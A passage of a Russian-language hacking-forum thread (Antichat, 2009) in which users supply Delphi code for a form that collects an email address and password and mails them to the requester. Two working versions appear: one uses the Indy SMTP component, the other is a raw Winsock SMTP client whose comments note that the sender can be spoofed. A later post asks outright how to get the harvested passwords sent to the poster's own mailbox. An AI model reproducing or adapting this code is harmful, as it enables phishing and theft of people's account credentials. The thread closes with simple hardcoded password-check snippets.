ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #4851  
Старый 10.11.2009, 10:53
denjf
Участник форума
Регистрация: 12.11.2008
Сообщений: 146
С нами: 9207335

Репутация: 21
По умолчанию

Цитата:
двe edit на форме:
мыло, пасс.
И что бы после ввода скидывало на аську ил хотябы на мыло введённые данные

Цитата:
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
IdMessageClient, IdSMTP, StdCtrls, idMessage, IdEMailAddress, ExtCtrls,
wininet, XPMan, ComCtrls;


procedure TForm1.BtStartClick(Sender: TObject);
var
M: TIdMessage;
begin
M := TIdMessage.Create(Form1);
M.Body.Add(edit1.Text); //тут введенное мыло
M.Body.Add(edit2.Text); // тут введенный пароль
M.From.Text := '<Твое мыло>'; //отправитель
M.Recipients.Add;
M.Recipients.Items[0].Text := '<Твое мыло>'; //Получатель
M.Subject := 'Тема'; //Тема письма

IdSMTP1.AuthenticationType := atLogin;
if ComboBox1.Text='@mail.ru' then

IdSMTP1.Username := 'Твой логин';
IdSMTP1.Password := 'Твой пароль';
try
IdSMTP1.Connect();
if IdSMTP1.Connected then
begin
IdSMTP1.Send(M);
end;
IdSMTP1.Disconnect;

except end;
Наформу кинь idSMTP!
Вроде как то так
 
Ответить с цитированием

  #4852  
Старый 10.11.2009, 10:55
Nullsleep
Познающий
Регистрация: 02.06.2009
Сообщений: 67
С нами: 8916612

Репутация: 54
По умолчанию

Код:
uses EncdDecd, WinSock2;

procedure SendLetter(SMTPAddress: PChar; SMTPPort: Word;
  Login, Password, MailFrom, MailTo, Subject, BodyText: string);
var
  wsa: TWSAData;
  sock: TSocket;
  sock_addr: TSockAddrIn;

  function get_ip(host: PChar): PChar;
  var
    host_ent: PHostEnt;
  begin
    host_ent := gethostbyname(host);
    Result := inet_ntoa(PInAddr(host_ent.h_addr_list^)^);
  end;

  procedure send_str(str: string);
  var
    i: Integer;
  begin
    str := str + #13#10;
    for i := 1 to Length(str) do
      send(sock, str[i], 1, 0);
  end;

begin
  WSAStartup(WINSOCK_VERSION, wsa);
  sock := WSASocket(AF_INET, SOCK_STREAM, IPPROTO_IP, nil, 0, 0);
  if sock = INVALID_SOCKET then Exit;
  sock_addr.sin_family := AF_INET;
  sock_addr.sin_port := htons(SMTPPort);
  sock_addr.sin_addr.s_addr := inet_addr(get_ip(SMTPAddress));
  connect(sock, @sock_addr, SizeOf(sock_addr));
  send_str('HELO SMTP');
  send_str('AUTH LOGIN');
  send_str(EncodeString(Login)); //логин в Base64
  send_str(EncodeString(Password)); //пароль в Base64
  send_str('MAIL FROM:<' + MailFrom + '>'); //мыло отправителя
  send_str('RCPT TO:<' + MailTo + '>'); //мыло получателя
  send_str('DATA');
  send_str('from:' + MailFrom); //мыло отправителя (можно подменить)
  send_str('to:' + MailTo); //мыло получателя
  send_str('subject:' + Subject + #13#10); //тема письма
  send_str(BodyText); //текст письма
  send_str('.');
  send_str('QUIT');
  closesocket(sock);
  WSACleanUp;
end;
Использовать например так:
Код:
  SendLetter( 
              'smtp.yandex.ru', 25,
              'login', 'pass',
              'login@yandex.ru', 'kawaii@gmail.com',
              'Mail and Password',
              Edit1.Text + ' : ' + Edit2.Text
            );

Последний раз редактировалось Nullsleep; 10.11.2009 в 11:36..
 
Ответить с цитированием

  #4853  
Старый 10.11.2009, 11:37
stepashka_
Познавший АНТИЧАТ
Регистрация: 09.11.2009
Сообщений: 1,077
С нами: 8686406

Репутация: 265


По умолчанию

блин так я и не понял ничего

Подскажите вот есть два окна для ввода мыла и пасса к нему
Внизу кнопка отправить

Как сделать что бы мыла с пассами шли на мой emeil??? мыло на майле

Подскажите плиз по подробнее к каждому окну
Да и ещё куда вводить своё мыло с пассом с которого будет идти отправка
 
Ответить с цитированием

  #4854  
Старый 10.11.2009, 13:23
denjf
Участник форума
Регистрация: 12.11.2008
Сообщений: 146
С нами: 9207335

Репутация: 21
По умолчанию

Вроде данны два понятных кода! =)
 
Ответить с цитированием

  #4855  
Старый 10.11.2009, 15:19
Пуховой
Banned
Регистрация: 25.11.2007
Сообщений: 62
С нами: 9715564

Репутация: 89
По умолчанию

RumShun, решил Сделал отдельный зацикленный поток с задержкой
 
Ответить с цитированием

  #4856  
Старый 10.11.2009, 15:38
Thenno
Участник форума
Регистрация: 03.07.2009
Сообщений: 151
С нами: 8871700

Репутация: 41
По умолчанию

Цитата:
Сообщение от stepashka_  
блин так я и не понял ничего

Подскажите вот есть два окна для ввода мыла и пасса к нему
Внизу кнопка отправить

Как сделать что бы мыла с пассами шли на мой emeil??? мыло на майле

Подскажите плиз по подробнее к каждому окну
Да и ещё куда вводить своё мыло с пассом с которого будет идти отправка
"Подскажите вот есть два окна для ввода мыла и пасса к нему" - это у твоей программы или у чужой? Если у твоей, то на вопрос твой уже ответили вполне понятно.
А вот четвертый абзац я вообще не понял... Можешь еще раз попонятней сформулировать?
 
Ответить с цитированием

  #4857  
Старый 10.11.2009, 16:08
mr_walker
Познающий
Регистрация: 09.08.2009
Сообщений: 39
С нами: 8818983

Репутация: 75
По умолчанию

Цитата:
Сообщение от StealthMaster  
Во втором юните напиши проверку пароля и выполни нужную функцию.
Сорри но в Delphi я новичек... как написать проверку пароля?
 
Ответить с цитированием

  #4858  
Старый 10.11.2009, 16:26
Nullsleep
Познающий
Регистрация: 02.06.2009
Сообщений: 67
С нами: 8916612

Репутация: 54
По умолчанию

Код:
function CheckPass(pass: string): Boolean;
const
  true_pass = 'mypassword123';
begin
  Result := False;
  if pass = true_pass then Result := True;
end;
Пример: http://webfile.ru/4073555

Последний раз редактировалось Nullsleep; 10.11.2009 в 16:43..
 
Ответить с цитированием

  #4859  
Старый 10.11.2009, 16:29
slesh
Познавший АНТИЧАТ
Регистрация: 05.03.2007
Сообщений: 1,985
С нами: 10097606

Репутация: 3349


По умолчанию

2 mr_walker так и пиши.
Код:
If pass <> 'пароль' then
begin
  ReadDocAboutDelphiSyntax(My);
end
else
begin
  VseRavnoGotoReadDocAboutDelphiSyntax(My);
end;
Прежде чем писать чтото, хотябы прочитай элементарные вещи связанные с синтаксисом хотябы паскаля.

Когда ты начал писать на бумаге, ты же начал с букв, а не сразу с письма на деревню дедушке.
В языках программирования точно такие же правила как и в любом языке.

Последний раз редактировалось slesh; 10.11.2009 в 16:32..
 
Ответить с цитированием

  #4860  
Старый 10.11.2009, 16:35
slesh
Познавший АНТИЧАТ
Регистрация: 05.03.2007
Сообщений: 1,985
С нами: 10097606

Репутация: 3349


По умолчанию

2 Nullsleep вообще более красивее этобы выглядело примерно так
Код:
function CheckPass(pass: string): Boolean;
const
  true_pass = 'mypassword123';
begin
  result := pass = true_pass;
end;
т.е. по идее на 1 команду меньше.
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Wi-Fi, BT] Задай вопрос - получи ответ! Alexsize Беспроводные технологии/Wi-Fi/Wardriving 2571 20.06.2026 14:48
[jQuery] - Задай вопрос, получи ответ Isis PHP 62 25.12.2009 03:25



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.